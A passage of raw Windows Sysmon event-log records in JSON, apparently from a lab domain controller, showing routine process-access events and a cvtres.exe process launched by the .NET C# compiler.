C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5711,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5712,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4172-5F2D-0000-00105D9E0800}\r\nTargetProcessId: 4012\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4172-5F2D-0000-00105D9E0800}","TargetProcessId":"4012","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5713,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.958\r\nProcessGuid: {90617006-4172-5F2D-0000-0010ECA10800}\r\nProcessId: 2728\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nFileVersion: 12.00.52519.0 built by: VSWINSERVICING\r\nDescription: Microsoft® Resource File To COFF Object Conversion Utility\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CVTRES.EXE\r\nCommandLine: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES6E9B.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\CSCA9E690189F09464CA399E77721E47D67.TMP\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF\r\nParentProcessGuid: {90617006-4172-5F2D-0000-00105D9E0800}\r\nParentProcessId: 4012\r\nParentImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nParentCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\4rw4wcql.cmdline\"","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.958","ProcessGuid":"{90617006-4172-5F2D-0000-0010ECA10800}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","FileVersion":"12.00.52519.0 built by: VSWINSERVICING","Description":"Microsoft® Resource File To COFF Object Conversion Utility","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"CVTRES.EXE","CommandLine":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES6E9B.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\CSCA9E690189F09464CA399E77721E47D67.TMP\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF","ParentProcessGuid":"{90617006-4172-5F2D-0000-00105D9E0800}","ParentProcessId":"4012","ParentImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","ParentCommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\4rw4wcql.cmdline\"","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5714,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.947\r\nSourceProcessGUID: {90617006-4172-5F2D-0000-00105D9E0800}\r\nSourceProcessId: 4012\r\nSourceThreadId: 4308\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetProcessGUID: {90617006-4172-5F2D-0000-0010ECA10800}\r\nTargetProcessId: 2728\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.947","SourceProcessGUID":"{90617006-4172-5F2D-0000-00105D9E0800}","SourceProcessId":"4012","SourceThreadId":"4308","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetProcessGUID":"{90617006-4172-5F2D-0000-0010ECA10800}","TargetProcessId":"2728","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5715,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4172-5F2D-0000-0010ECA10800}\r\nTargetProcessId: 2728\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4172-5F2D-0000-0010ECA10800}","TargetProcessId":"2728","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5716,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5717,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5718,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 